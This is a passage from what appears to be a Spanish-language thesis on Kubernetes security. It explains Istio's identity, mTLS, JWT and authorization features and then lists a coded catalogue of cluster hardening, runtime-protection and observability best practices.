puede observar en la Figura 25 y las funcionalidades de seguridad de Istio se introducen en
las siguientes secciones.
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Figura 25. Arquitectura de seguridad de Istio. (Fuente: istio.io)

9.4.5.1. Gestion de la identidad y certificados

La identidad es un concepto fundamental en la seguridad de cualquier sistema. En el
contexto de Kubernetes e Istio, un par de workloads que deseen comunicarse mutuamente
deben intercambiar credenciales (autenticacion mutua) al inicio de su comunicacion. De
esta manera, ambas partes pueden realizar una comprobacion de la identidad (AuthN) de la
otra parte, asi como de los permisos para ejecutar las acciones solicitadas (AuthZ).



El modelo de identidad de Istio se basa principalmente en la identidad del servicio para
determinar el origen de una peticion. Este modelo ofrece una gran flexibilidad y granularidad
en cuanto las posibles entidades (e.g. usuarios, workloads) que pueden ser identificadas
mediante un servicio. Algunos ejemplos de identidad de servicios en distintas plataformas
son:
e Kubernetes: los Service Accounts del cluster.
Google Compute Engine (GCE): la cuenta de servicio de Google (especificamente
de GCP).
e Sistemas locales (on-premises): cuentas de usuario, nombres de servicios, una
cuenta de servicio de Google, entre otros.
Istio administra de forma segura identidades robustas para cada workload mediante el uso
de certificados X509. Junto con cada proxy de Envoy, Istio ejecuta agentes (istio-agent) que
se encargan de la comunicacién con istiod para automatizar la rotacién de las llaves y
certificados en la malla (ver Eigura 26).
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La secuencia de pasos del flujo antes mencionado para el suministro de llaves y certificados
de Istio consta de [316]:
1. istiod ofrece un servicio mediante gRPC para recibir solicitudes de firma de
certificados (CSRs).
2. Aliniciar Istio, el agente (istio-agent) crea la llave privada y el CSR, el cual es
enviado con sus credenciales a istiod para ser firmado.
3. La CA (autoridad certificadora) en jstiod valida las credenciales incluidas en el CSR.
Tras una validacion satisfactoria, istiod firma el CSR para generar el certificado.
4. Cuando se inicia un workload, Envoy solicita la llave y el certificado al agente
istio-agent en el mismo contenedor mediante el API del Envoy secret discovery
service (SDS) [317].



5. El agente istio-agent envia el contenido solicitado (llave y certificados) que recibio de
istiod al proxy de Envoy mediante el APl de Envoy SDS.

6. istio-agent monitorea de manera periddica la expiracién del certificado del workload
para realizar un rotado del certificado y la llave cuando sea necesario.

9.4.5.2. Autenticacion (AuthN)

Istio soporta dos tipos de autenticacion principales: peer authentication (0 autenticacion
entre iguales) y request authentication (o autenticacién a peticiones). A continuacion, cada
una se describe en mayor profundidad:

e Peer authentication: es el mecanismo de autenticacion empleado entre servicios.
Istio brinda el mutual TLS (o TLS mutuo, el que trataremos mas adelante) como una
solucién completa, la cual puede habilitarse sin cambios en los servicios. Este
mecanismo:

o Dota a cada servicio de una identidad robusta.

o Protege la comunicacion servicio-a-servicio.

o Proporciona un sistema de gestion de llaves para automatizar la generacion,
distribucion y rotacion de certificados.

e Request authentication: empleada en la autenticacion del usuario final para
verificar las credenciales adjuntas a la peticion. Istio habilita la autenticacién a nivel
de peticiones mediante la validacion de JSON Web Tokens (JWT), aunque también
puede integrarse con proveedores de autenticacion de terceros o cualquier
proveedor de OpenID Connect (e.g. AuthO, Google Auth) [318].

A continuacion se abordan los principales aspectos relacionados con la autenticacion antes
mencionados en mayor profundidad.

Autenticacién mediante mutual TLS:

La comunicacién servicio-a-servicio en Istio es soportada por los proxies de Envoy. Cuando
un workload envia una peticibn a otro con una autenticacion mediante mutual TLS, dicha
peticion se trata de la siguiente manera:

1. Istio redirige el trafico saliente del cliente al sidecar local de Envoy.

2. El sidecar de Envoy del lado cliente inicia un TLS handshake mutuo con el sidecar
de Envoy del lado servidor. Durante el handshake, el lado cliente también verifica el
nombrado seguro (secure naming [319]) para verificar que la cuenta de servicio
asociada al certificado del servidor estéd autorizada a ejecutar el servicio de destino-

3. Ambos proxies de Envoy establecen una conexién TLS mutua e Istio redirecciona el
tréfico del proxy Envoy del lado cliente al proxy Envoy del lado servidor.

4. EIl proxy Envoy del lado servidor autoriza la peticién. Si es autorizada, reenvia el
tréfico al servicio de backend mediante conexiones TCP locales.

La autenticacion mediante mutual TLS de Istio permite aceptar tanto trafico en texto plano
como tréafico cifrado mediante TLS. A este modo se le llama PERMISSIVE (o permisivo) y
esta funcionalidad mejora en gran medida la experiencia en la implantacion de mutual TLS
en nuestro sistema.

Peer authentication:
Este tipo de autenticacién esta destinada a regular mediante politicas, el modo en el que
operan los workloads en Istio. Los modos soportados son los siguientes:



e PERMISSIVE: en este modo los workloads aceptan tanto trafico en mutual TLS
como en texto plano. Es un modo muy Util durante procesos de migracién donde los
workloads sin sidecar no pueden comunicarse mediante TLS. Una vez que se ha
migrado inyectando un sidecar, se deberia cambiar al modo STRICT.

e STRICT: en este modo los workloads solo aceptan trafico mediante mutual TLS.
DISABLE: en este modo la comunicacién mediante mutual TLS esta deshabilitada.
Desde el punto de vista de la seguridad, este modo no es aconsejable.

Un ejemplo de politica de tipo PeerAuthentication que requiere que todos los workloads en
el namespace foo utilicen mutual TLS, se observa a continuacion.

apiVersion: security.istio.io/vlbetal
kind: PeerAuthentication
metadata

name: "example-policy"

namespace: "foo"
spec

mtls

mode: STRICT

Un detalle a resaltar es que en casos donde no se especifique el modo mediante ninguna
politica, se hereda la configuracion predeterminada a nivel global. A nivel de la malla de
servicios, el modo por defecto es PERMISSIVE.

Request authentication:
Las politicas para la autenticacion de peticiones especifican los atributos necesarios para
validar correctamente un JWT. Estos valores incluyen, entre otros, los siguientes:

e La ubicacion del token en la peticion (e.g. el header Authentication)

e Elissuer (o emisor) de la peticion.

e EI JSON Web Key Set (JWKS) [320], [321] publico que es proporcionado en la

configuracion.

Istio verifica el token presentado, rechazando las peticiones en casos donde los tokens no
sean validos o0 no presente los atributos antes mencionados. Un aspecto a tener en cuenta,
es que cuando las peticiones no incluyen un token, son aceptadas por defecto. Para lidiar
con este problema, se recomienda la implantacion de reglas de autorizacion para regular
operaciones especificas (e.g. rutas especificas, acciones particulares).
Estas politicas permiten que puedan ser especificados mas de un JWT siempre y cuando no
hayan ubicaciones repetidas. Cuando méas de una politica aplica a un workload, Istio
combina todas las reglas en una sola politica, lo cual es de gran utilidad para soportar varios
tokens JWT. Sin embargo, politicas con mas de un token valido no son soportadas ya que
es imposible determinar el emisor (o principal) de la peticion.

9.4.5.3. Autorizacién (AuthZz)

Las funcionalidades de autorizacién de Istio permiten un control de acceso granular a
distintos niveles (e.g. global, namespaces, workloads) en la malla. Este nivel de control trae
consigo diversos beneficios:



e Control de la autorizacién entre workloads y de un usuario final a un workload. Esto
es posible mediante una AuthorizationPolicy, un CRD (custom resource definition)
anico, el cual es facil de utilizar y mantener.

e Una semantica flexible, ya que los operadores pueden definir reglas personalizadas
basadas en atributos de Istio combinadas con acciones de tipo CUSTOM, DENY y
ALLOW (que veremos mas adelante).

e Un alto rendimiento debido a que las politicas de autorizaciéon son evaluadas de
manera nativa en el proxy de Envoy.

e Una alta compatibilidad, pues soporta diversos protocolos como gRPC, HTTP, HTTP,
HTTP/2 y protocolos TCP de manera nativa.

En Istio, el control de acceso al trafico ocurre a nivel del trafico entrante en el proxy de
Envoy del lado del servidor. Cada proxy cuenta con un motor de autorizacién que valida las
peticiones en tiempo de ejecucion, lo cual resulta en que el contexto de la peticion es
evaluado por las politicas de autorizacion en vigor y se retorna un resultado: ya sea ALLOW
o DENY. Pero, ¢,coémo ocurre este proceso de evaluacion de las politicas de autorizacion?.
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Figura 27. Precedencia de las politicas de autorizacién de Istio. (Fuente: istio.io)



Precedencia de la politicas de autorizacién:

Las funcionalidades de autorizacion de Istio son habilitadas de manera predeterminada, ya
gue estan disponibles desde la instalacion. Un aspecto a destacar es que en este estado
inicial de la malla, todas las peticiones son permitidas dado que los workloads sin politicas
de autorizacién asociadas autorizan todo el trafico por defecto.

Como fue mencionado antes, las acciones soportadas por las politicas de autorizaciéon son
de tipo ALLOW, DENY y CUSTOM. Para securizar nuestros workloads es posible aplicar
multiples politicas, cada una con una accion diferente. EI mecanismo de verificacion de
politicas de autorizacidn en Istio se realiza por capas; especificamente en este orden:
CUSTOM, DENY, y finalmente ALLOW.

Para cada uno de estos tipos de accidn, Istio comprueba primeramente en las politicas con
la accion en cuestidon. A continuacién, comprueba si el contexto de la peticidon coincide con
la especificacion de la politica. Si una peticion no coincide con una politica en una de las
capas, la comprobacion continla en la siguiente capa. Dicho proceso se encuentra bien
detallado en la Figura 27.

9.4.5.4. Buenas practicas de seguridad

Mediante las funcionalidades de Istio antes mencionadas, es posible afadir una capa
adicional de seguridad a nuestro cluster. Al igual que en Kubernetes, se definen en la
literatura buenas préacticas y principios de seguridad que pueden ser aplicados en Istio. A
continuacién se abordan con cierta brevedad estos aspectos, aunque mas detalles pueden
consultarse en [322], [323].

Defensa en profundidad (defense in depth):

De manera general, Istio representa una capa adicional de seguridad complementaria a las
estrategias de hardening y la seguridad en tiempo de ejecucion para Kubernetes. Diversas
funcionalidades avanzadas como la autenticacion, la autorizacion y el control del trafico
norte-sur (ingress y egress) son estrategias que contribuyen a la puesta en practica de este
principio.

Seguridad de confianza cero (zero-trust security):

En este caso, estrategias como la comunicacion mediante mutual TLS y la restriccion del
trafico entre servicios mediante RBAC (AuthN y AuthZ) contribuyen a lograr una seguridad
de confianza cero.

Principio de privilegio minimo (principle of least privilege):

Mediante sus politicas de autenticacion y autorizacion, Istio permite tener un control
granular de las acciones que pueden ser llevadas a cabo en la malla. Al igual que en
Kubernetes, se recomienda dar a los usuarios y servicios, los privilegios minimos
necesarios para desempefiar su funcion de manera satisfactoria.

Defensa de objetivos méviles (moving target defense):

Como se ha visto con anterioridad, Istio realiza la rotacion de los certificados utilizados en
las funcionalidades relacionadas con la identidad y la gestion de los certificados (e.g. la
comunicacion mediante mutual TLS).



10. Propuesta de buenas practicas para la
seguridad en Kubernetes

Como hemos analizado en apartados anteriores, debido a la gran superficie de ataque y los
diversos elementos a tener en cuenta en seguridad de la configuracion (también conocido
como hardening), seguridad en tiempo de ejecucién, etc., resulta dificil definir de manera
concisa los posibles aspectos a tener en cuenta para afrontar la seguridad en Kubernetes.
Existen muchas fuentes en la literatura como la documentacion oficial de Kubernetes [324],
[325], libros especializados [256], [284], [326], reportes y guias de seguridad [131],
[327]-[329], entradas de blogs, entre otras; todas enfocadas en el tema de la seguridad en
Kubernetes, por lo que el cimulo de informacién al respecto es bastante considerable. No
obstante, hasta donde se ha revisado en este trabajo, no existe un consenso (o un acuerdo
comun) respecto a una taxonomia y/o categorizacion bien definida y aceptada en la
comunidad de medidas y buenas practicas de seguridad en Kubernetes.

En esta seccién se sintetizan y se estructuran apropiadamente las buenas practicas
analizadas para abordar la seguridad en Kubernetes atendiendo a distintas areas claves
identificadas durante la revision de la literatura.

10.1. El modelo de las 4 C’s aplicado a Kubernetes

Como se ha descrito anteriormente en este trabajo, el tema seguridad puede ser pensado
en capas (defensa en profundidad), lo cual es considerada como una buena practica de
seguridad cuando se trata de seguridad sistemas de software.

La seguridad en aplicaciones nativas a la nube no es una excepciéon a esto. Por tanto, el
modelo de las 4 C's (Cloud, Cluster, Container, y Code) ha sido adaptado a este nuevo tipo
de aplicaciones [107].

Kubernetes es la herramienta mas utilizada hoy en dia en la orquestacion de contenedores
en la nube. Como se plante6 en secciones anteriores, el modelo de las 4 C's ha sido
utilizado de manera efectiva para modelar la seguridad de Kubernetes [106].
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Figura 28. Modelo de las 4 C’s aplicado a Kubernetes. (Fuente: trendmicro.com)

Conforme al modelo de las 4 C’s, la seguridad en Kubernetes puede analizarse en cuatro

capas (ver Figura 28):
e [CLOU] Cloud: concierne a la infraestructura en la nube como VPS, Firewall, etc.



e [KUBE] Cluster: concierne al cluster de Kubernetes en si.

e [CONT] Container: concierne a las imagenes de los contenedores y sus permisos.

e [CODE] Code: concierne a la seguridad de la aplicacion.
A continuacion se ofrece una guia u orientacion general de los aspectos fundamentales del
impacto en temas de seguridad de cada una de las capas, pero queda por cuenta del lector,
indagar en profundidad a partir de las referencias proporcionadas.
Es importante destacar que todas las capas impactan en la seguridad de Kubernetes. No
obstante, como se detall6 en los objetivos del trabajo, centraremos nuestra atencién en la
seguridad en la capa de Cluster.

Cloud (CLOU)

La nube con sus servidores y otros componentes, constituye la base sobre la cual esta
cimentado Kubernetes [107], [330]. Si esta capa de Cloud es vulnerable o es configurada de
una manera deficiente, no se tiene garantia alguna de que ningln componente (en nuestro
caso Kubernetes) sobre la misma sea seguro.

Cluster (KUBE)

Resulta evidente que la seguridad en esta capa es de vital importancia y proteger nuestro
cluster de Kubernetes de operaciones maliciosas o0 accidentales contribuye positivamente a
la seguridad en general [107], [331].

Container (CONT)

Para poder ejecutar contenedores en Kubernetes, resulta imperativo un Container Runtime
Engine (CRE). Los aspectos claves a tener en cuenta giran en torno a saber si se tienen
imagenes “seguras”, si eéstas son de fiar y si estan siendo ejecutadas con los privilegios
adecuados [107], [332].

Code (CODE)

El cbédigo de nuestras aplicaciones (o application security) es la capa sobre la cual las
organizaciones tienen mayor control. El cédigo es el nucleo de nuestros sistemas y es la
principal superficie de atague sobre la que se centraran los atacantes una vez determinado
gue el resto de los componentes han sido correctamente protegidos [107], [333].

10.2. Medidas de seguridad a nivel de “Cluster”

En lo referente en la literatura a como enfocar la seguridad en la capa de Cluster, hay dos
propuestas principales. Por una parte [107], existen tres areas principales del cluster a las
cuales se le debe prestar atenciéon: los componentes del cluster, las aplicaciones del cluster
y la comunicacién de red del cluster. Por otra parte [331], se consideran relevantes dos
areas: los elementos del cluster (componentes + red) y las aplicaciones del cluster
(servicios + red).

En este trabajo adoptaremos las propuestas del equipo de Kubernetes [331] en su propia
documentacion oficial. Por otra parte, vale notar que el aspecto de la comunicacion de red
esta considerado en ambas éareas del cluster.

El enfoque para la seguridad del cluster propuesto en [331] toma en consideracién dos
factores importantes:



e [INFR] Infrastructure: los componentes del cluster (la infraestructura del cluster) y la
comunicacion entre dichos componentes (la comunicacion de red del cluster).
Ambos elementos conforman una suerte de capa de infraestructura.

e [WRKL] Workloads: las aplicaciones o servicios desplegados, los cuales conforman
una capa de aplicacion.

Por otra parte, de manera independiente a la capa que pertenezca una medida o control de
seguridad (INFR o WRKL), éstos pueden representar modos de proteccion diferentes.
Dependiendo del momento en que se aplica la medida de seguridad respecto a la
ocurrencia de un incidente o evento de seguridad, su clasificacion pudiera ser:

e Aplicacion previa al incidente: la medida se considera que es de modo preventivo
o de hardening.

e Aplicaciéon durante o posterior al incidente: la medida se considera que es de
modo proactivo o de runtime.

Esta ultima clasificacion tomara precedencia ante la propuesta anterior, pues facilita el
proceso de categorizacion de medidas en funcion del momento apropiado para su
aplicacion. A continuacidn se muestra a modo de taxonomia dicha organizacion jerarquica.

Cluster
[KUBE]

Hardening Runtime

[HRDN] [RNTM]

Modo de proteccién (preventivo vs. proactivo) donde se aplica la seguridad

Infrastructure Workloads
[INFR] [WRKL]

Figura 29. Categorizacion de medidas de seguridad en la capa KUBE.

En las secciones posteriores se enumeran buenas practicas de seguridad a nivel del cluster
de Kubernetes, representadas por familias de medidas aplicables a los aspectos de
seguridad sensibles identificados en la literatura. Cada familia de medidas consta de varias
medidas concretas (y en algunos casos sub-medidas) de seguridad que pueden ser
complementarias o0 no, y que permiten remediar y/o mitigar los problemas de seguridad que
se pueden presentar en estos elementos susceptibles a ser vulnerados.

10.2.1. Hardening

Como se ha mencionado anteriormente, en esta categoria las medidas de seguridad se
agrupan a nivel de dos capas: la capa de infraestructura del cluster (INFR) y la capa de
aplicacion desplegada (workloads) en el cluster (WRKL). Cabe resaltar que los acrénimos
empleados (WRKL e INFR) forman parte de la codificacion introducida para la localizacion y




posterior discusion de las medidas de seguridad propuestas en los apartados del capitulo
de diseio experimental.

10.2.1.1. Seguridad en la capa de infraestructura

A continuacion se listan las medidas de seguridad propuestas que han sido consensuadas a
partir de la literatura existente respecto al tema™:

[KUBE_INFR_01]: Controlar el acceso al kube-apiserver [163].
Dado que Kubernetes estd mayormente sustentado por APIs, controlar y limitar quién tiene
acceso y qué acciones tienen permitido realizar es la primera linea de defensa. Existen
diversas medidas y controles de seguridad para lograr este objetivo:
e [KUBE_INFR_01a]: Utilizar TLS para todo el trafico del API [334].
e [KUBE_INFR_01b]: Emplear un mecanismo de autenticacion (AuthN) al API
adecuado [335].
o [KUBE_INFR_01b1]: Configurar la autenticacion externa al kube-apiserver
(OpenlD, etc.)
o [KUBE_INFR_01b2]: Deshabilitar la autenticacion anénima
(--anonymous-auth=false).
e [KUBE_INFR_01c]: Emplear un mecanismo de autenticacion (AuthZz) al API
adecuado [336].
e [KUBE_INFR_01d]: Habilitar los Admission Controllers [171].
[KUBE_INFR_01e]: Empleo de motores de politicas como OPA/Gatekeeper o
Kyverno [174], [337].

[KUBE_INFR_02]: Controlar el acceso al kubelet (plano de control y nodos) [338].

Los kubelets exponen endpoints via HTTPS que permitirian obtener el control del nodo y los
contenedores. Los clusters en produccion deberian habilitar la autenticacion (AuthN) y
autorizacion (AuthZ) en el kubelet.

[KUBE_INFR_03]: Restringir el acceso a etcd [339].
El acceso a escritura en etcd es equivalente a obtener privilegios de root sobre todo el
cluster, y un acceso de lectura también puede ser escalado a la situacién anterior. Las
medidas y controles para hacer cumplir con esto se listan:
e [KUBE_INFR_03a]: Separar y aislar detras de un firewall el cluster de etcd.
e [KUBE_INFR _03b]: Restringir el acceso a la instancia master de etcd.
o [KUBE_INFR_03b1]: Utilizar instancias diferentes de etcd para componentes
gue no sean de master.
o [KUBE_INFR_03b2]: Utilizar ACLs de etcd para restringir el acceso de
lectura y escritura a un subconjunto del espacio de las llaves.

[KUBE_INFR_04]: Restringir el acceso a funcionalidades en estado ‘alpha’ o ‘beta’
[340].

Las funcionalidades en estado alpha y beta en Kubernetes se encuentran bajo desarrollo
activo, por lo que pueden presentar bugs que provoquen problemas de seguridad. Se
recomienda realizar un analisis de riesgo-beneficio para determinar si vale la pena su uso.

15 De manera general, orientadas a proteger todo componente configurable del cluster.



[KUBE_INFR_05]: Rotar las credenciales de infraestructura con frecuencia [341]—-[343].
Mientras menor es el tiempo de vida de un secreto o credencial, resulta mas dificil para un
atacante hacer uso de la misma. Se recomienda utilizar un proveedor de autenticacién que
pueda controlar el tiempo de vida de los tokens y reducir dicho tiempo al maximo. Esta
politica se encuentra en consonancia con la estrategia de Moving Target Defenses (MTD).

[KUBE_INFR_06]: Proteger Secrets y Config Maps [206], [344].
Los Secrets y Config Maps contienen informacién sensible necesaria para que funcionen las
aplicaciones en el cluster. Por tanto, es imperativo implantar estrategias de proteccion para
proteger dichos recursos:
e [KUBE_INFR_06a]: Cifrar Secrets en reposo [345], [346].
e [KUBE_INFR_06b]: Emplear un KMS [347] para la gestion de los Secrets [206]. Se
pueden usar tanto los de cédigo abierto como HashiCorp Vault [207] y Cyberark
Conjur [208] o los ofrecidos por los proveedores de servicios en la nube como AWS
Secrets Manager [348], Google Secret Manager [349], Azure Key Vault [350], etc.
e [KUBE_INFR_06c]: Controlar el acceso a los Config Maps mediante RBAC [344].

[KUBE_INFR_07]: Suscribirse a alertas de actualizaciones de seguridad y reportes de
vulnerabilidades [351].

Se recomienda unirse a grupos como [352] para recibir correos electronicos sobre anuncios
de seguridad.

10.2.1.2. Seguridad en la capa de aplicacion

A continuacion se listan las medidas de seguridad propuestas que han sido consensuadas a
partir de la literatura existente respecto al tema®®:

[KUBE_WRKL_01]: Aplicar autorizacion (AuthZ) a los Service Accounts mediante
RBAC [169].

Las politicas de RBAC por defecto otorgan permisos limitados a componentes del plano de
control (nodos, controladores, etc.), pero no otorgan permisos a Service Accounts fuera del
namespace kube-system (mas alld de permisos basicos otorgados a todos los usuarios
autenticados).

Es posible asignar roles particulares a los Service Accounts segun se necesite. Aquellos
roles mas granulares proporcionan una mayor seguridad, pero requieren de mas esfuerzo
para su administracion. En cambio, los mas permisivos pueden dar acceso innecesario al
API, pero son més faciles de gestionar.

[KUBE_WRKL_02]: Aplicar autenticacion (AuthN) a peticiones de crear workloads
[164].

La autenticacion (AuthN) de las peticiones al kube-apiservery el kubelet es la primera linea
de defensa para proteger el cluster de qué tipos de workloads son desplegados [164]. Sin
estos controles, los atacantes pudieran abusar de esto y desplegar workloads maliciosos
como backdoors, la mineria de criptomonedas, etc.

[KUBE_WRKL_03]: Gestion adecuada de los Secrets a nivel de aplicacién [353].

16 De manera general, orientadas a proteger aspectos relacionados con las aplicaciones.



Esta medida de seguridad se enfoca en estrategias aplicables para proteger los Secrets a
nivel de aplicacion (workloads). Una vez que los Secrets son inyectados en el contenedor
de la aplicacioén, su valor se encontrara en texto plano. Por tanto, las aplicaciones necesitan
proteger el valor de un Secret una vez leido del volumen. A continuacién algunos controles
aplicables en este contexto:
e [KUBE_WRKL_03a]: Evitar el registro de Secrets y credenciales (en los logs de los
pods, etc.) [344], [354].
e [KUBE_WRKL_03b]: Evitar enviar informacion de los Secrets a terceros que no son
de fiar.

[KUBE_WRKL_04]: Controlar las capacidades de un workload o un usuario en tiempo
de ejecucién [355].

La autorizacién en Kubernetes esta disefiada para operar a un alto nivel, centrada en qué
acciones pueden realizarse sobre los recursos del cluster. Existen controles mas potentes y
granulares a modo de politicas para limitar por caso de uso cémo éstos objetos (instancias
de recursos) interactian con el cluster y con otros recursos. A continuacion se listan
algunos controles al respecto:

e [KUBE_WRKL_04a]: Limitar el uso de recursos en el cluster [356], [357].

o [KUBE_WRKL_04al]: Aplicar resource quotas [21].

o [KUBE_WRKL_04a2]: Aplicar limit ranges [358].

[KUBE_WRKL_04b]: Controlar los privilegios de los contenedores [359].

o [KUBE_WRKL_04b1]: Buenas practicas en el apartado de Security Context
de un pod o contenedor [194].

o [KUBE_WRKL_04b2]: Buenas practicas en las politicas de seguridad de los
pods, ya sea mediante Pod Security Policies (PSP)*’ [195] o el nuevo Pod
Security Standards (PSS) [360].

e [KUBE_WRKL_04c]: Evitar que los contenedores carguen médulos del kernel no

deseados [361].

e [KUBE_WRKL_04d]: Restringir la comunicacion de red de las aplicaciones [362].
o [KUBE_WRKL_04d1]: Aplicar politicas de red para controlar el acceso a la
red [38].
e [KUBE_WRKL_04e]: Restringir el acceso al APl de metadatos en la nube [363].

o [KUBE_WRKL_04el]: Aplicar politicas de red para controlar el acceso al API
de metadatos [38].

[KUBE_WRKL_04f]: Controlar qué nodos albergan qué pods*® [364].

[KUBE_WRKL_05]: No emplear pods desligados (a ReplicaSets o Deployments) [365].

[KUBE_WRKL_06]: Aplicar TLS al Ingress de Kubernetes para proteger los workloads
expuestos a internet [366], [367].

[KUBE_WRKL_07]: Proteger la comunicacién entre los componentes del workload
con Mutual TLS (mTLS) [125].

17 Los PSP estan obsoletos a partir de la v1.21 de Kubernetes.
18 particularmente Util en escenarios donde se necesita cumplir con la RGPD.



[KUBE_WRKL_08]: Proteger el Software Supply Chain (la cadena de suministro de
software) [368].
e [KUBE_WRKL_08a]: Asegurar la cadena con herramientas open-source como
Grafeas [154] + Kritis [155].
e [KUBE_WRKL_08b]: Asegurar la cadena con opciones de proveedores en la nube
como Binary Authorization de Google [153].

10.2.2. Proteccion en ejecucion

Las medidas de seguridad recomendadas en la seccién anterior estan disefiadas para ser
aplicadas durante un proceso de hardening, en otras palabras, aplicadas usualmente en la
etapa de configuracion del cluster antes de que el mismo esté listo para produccion.

Las medidas y controles de seguridad recomendados en este apartado estan disefiados
para brindar una proteccion activa en tiempo de ejecucion (RuNTiMe) ante amenazas no
esperadas. Las medidas se agrupan en tres areas importantes que contribuyen de manera
considerable a la seguridad en tiempo de ejecucion.

A continuacién se proponen varias medidas de seguridad definidas a partir de la literatura
existente respecto al tema.

10.2.2.1. Configurar una malla de servicios

Uno de los aspectos importantes para contribuir a la seguridad de Kubernetes vistos con
anterioridad es la implantaciéon y configuracion de una malla de servicios (RNTM_SVCM)
como lIstio [281]. Las medidas y controles se listan a continuacion:

[RNTM_SVCM_01]: Cifrar comunicacion entre servicios mediante mTLS en Istio [369].
En arquitecturas de microservicios, uno de los retos mas frecuentes es el de asegurar la
comunicacion entre cualquier par de servicios. Una variante a considerar es la de gestionar
la seguridad en la capa de aplicacion, lo cual tiene obvias desventajas como el uso de
tiempo de desarrollo para otras cosas que no sean implementar la l6égica del negocio, la
mantenibilidad, etc.

Es precisamente en este escenario donde mallas de servicios como Istio entran en escena.
De una manera sencilla, Istio ofrece una solucién para la autenticacion entre dos servicios
mediante mTLS.

[RNTM_SVCM_02]: Aplicar estrategias de gestion de trafico para lograr resiliencia y
fiabilidad [370].

Aplicar estrategias de gestion de trafico con Istio permite obtener un mayor control del
trafico en nuestra infraestructura. Al operar en una capa de abstraccién superior (capa L7),
Istio contribuye a que nuestras aplicaciones sean mas robustas.

Ejemplos a destacar es la resiliencia ante fallos de red de servicios dependientes, limitar el
flujo de trafico para evitar el uso excesivo de recursos y asi mitigar ataques de DDoS entre
otros. En fin, estas funcionalidades permiten a nuestras aplicaciones operar de manera
fiable y soportar que errores puntuales (ya sean reales o artificialmente introducidos [298])
produzcan un efecto domind en nuestra arquitectura.

[RNTM_SVCM_03]: Emplear estrategias de control al trafico recibido [371].
De manera andloga a cdémo es regulado el trafico a nivel de capa L3-L4 con las politicas de
red de Kubernetes, es recomendable aplicar estrategias de control al trafico a nivel de capa



L7 con Istio. En otras palabras, controlar a donde puede ir el trafico en nuestra malla.

El modelo de control de acceso en Istio se establece mediante las AuthorizationPolicy, las
cuales pueden ser empleadas, entre otras cosas, para regular el trafico entre workloads y
dentro del propio workload.

Istio opera a nivel de capa de aplicacion, lo cual tiene sus ventajas. Dado que su proxy de
acceso (Envoy), entiende diversos protocolos, los atributos sobre los que se puede definir
una politica de control es mas amplio. Dicha flexibilidad permite definir politicas basadas en
métodos HTTP, URIs y encabezados HTTP [372].

[RNTM_SVCM_04]: Emplear RBAC para la autenticacién (AuthN) y autorizacion
(AuthZz) [373].

De manera complementaria al RBAC de Kubernetes, también es posible aplicar RBAC en
Istio para tareas de AuthN y AuthZ. En Istio las politicas de RBAC se modelan y se hacen
cumplir mediante AuthorizationPolicy al igual que las estrategias de control de trafico.

En este caso, el objetivo del control es regular quién puede acceder y qué puede hacer ese
sujeto en la infraestructura. Para lograrlo, se recomienda implantar una buena politica de
gestion de tokens (JWT) [374] combinado con RBAC para la proteccion del cluster.

[RNTM_SVCM_05]: Fortalecer la configuracién de la malla de servicios [375].

Al igual que se ha hecho con Kubernetes en este trabajo, es también recomendable llevar a
cabo estrategias de hardening de la configuracion de Istio. Para ello, se recomienda la guia
de evaluacion de la seguridad de Istio [375].

Las recomendaciones estratégicas ofrecidas en el presente trabajo han sido incorporadas
en cierta manera a partir de la documentacion de Istio en su guia de buenas practicas de
seguridad [322]. Combinando estas dos fuentes, es posible configurar Istio para cumplir con
estandares de seguridad de entornos seguros.

10.2.2.2. Configurar proteccion activa tipo IPS

A pesar de haber aplicado todos los controles y medidas de seguridad considerados en una
etapa de hardening, el trabajo de seguridad no termina ahi. Ante un evento de intrusion, es
necesario implantar algun tipo de proteccion activa (RNTM_IPS) que nos permita neutralizar
al atacante en tiempo real. Las medidas y controles recomendadas para este propdésito se
listan a continuacion:

[RNTM_IPS_01]: Emplear soluciones que brinden proteccion tipo IPS [376].

e [RNTM_IPS_01a]: Implantar seguridad en tiempo de ejecucion nativa en la nube con
Falco [377].

e [RNTM_IPS_01b]: Implantar un motor de respuesta en Kubernetes basado en Falco
[378].

e [RNTM_IPS_01c]: Utilizar herramientas para agregar seguridad al entorno de
ejecucion de los contenedores como gVisor [379], [380], Bottlerocket [136], [381] o
Firecracker [382].

[RNTM_IPS_02]: Implantar plataformas avanzadas de proteccién activa.

Estas plataformas avanzadas estan disefladas con Kubernetes y los contenedores en
mente. Entre ellas cabe destacar las ofrecidas por Aqua [383], Sysdig [384], Palo Alto
Prisma Cloud [385], Neuvector [386], etc.



10.2.2.3. Agregar capacidades de observabilidad

La observabilidad en tiempo de ejecucion (RNTM_OBSV) constituye un aspecto importante
en la seguridad, pues permite al equipo de seguridad comprender lo que ocurre en nuestro
sistema. Las medidas y controles recomendados para garantizar dicha observabilidad en
Kubernetes se presentan a continuacion:

[RNTM_OBSV_01]: Configurar el monitoreo y la observabilidad en el cluster.
e [RNTM_OBSV_01a]: Configurar metrics-server [227], kube-state-metrics y las
métricas para los componentes de Kubernetes [234].
e [RNTM_OBSV_01b]: Implantar Prometheus [387] y Grafana [388] para el monitoreo
y la observabilidad del cluster.
e [RNTM_OBSV_01c]: Implantar Istio y Kiali [389] para el control y la observabilidad
de la malla de servicios.

[RNTM_OBSV_02]: Habilitar y almacenar Logs y Events del cluster.
e [RNTM_OBSV_02a]: Habilitar y configurar adecuadamente los /ogs de auditoria
(Audit Logs) del cluster [180].
e [RNTM_OBSV_02b]: Almacenar y exportar Events para la observabilidad y alertas
[390], [391].

[RNTM_OBSV_03]: Habilitar y configurar las trazas distribuidas.

Las trazas distribuidas constituyen una fuente invaluable para entender como cada peticion
pasa a través de nuestra aplicacién distribuida, contribuyendo finalmente a mejoras en el
rendimiento y la fiabilidad.

Se recomienda adherirse a estdndares en la industria como OpenTelemetry [238] y en el
caso de las mallas de servicio como Istio, utilizar addons como Jaeger [392] o Zipkin [245]
que pueden ser integrados facilmente.

10.3. Compendio de medidas de seguridad

Las medidas y controles de seguridad propuestos en secciones anteriores corresponden a
una revision de la literatura hasta agosto de 2021, por lo que pudiera cambiar en un futuro
cercano debido al ritmo acelerado de desarrollo de Kubernetes.

Las medidas propuestas han sido categorizadas jerarquicamente a modo de taxonomia (ver
Figura 30) y un compendio de las mismas se presenta a continuacion (ver Tabla 4). Se
recomienda utilizar dichas familias de medidas como una lista de control a seguir para
fortalecer el nivel de seguridad de nuestro cluster de Kubernetes.

Un aspecto relevante a mencionar es que todas las medidas de proteccidon recomendadas
deben considerarse necesarias pero no suficientes por si mismas, ya que deben aplicarse
de manera complementaria (el principio de defensa en profundidad) a los CIS Benchmarks
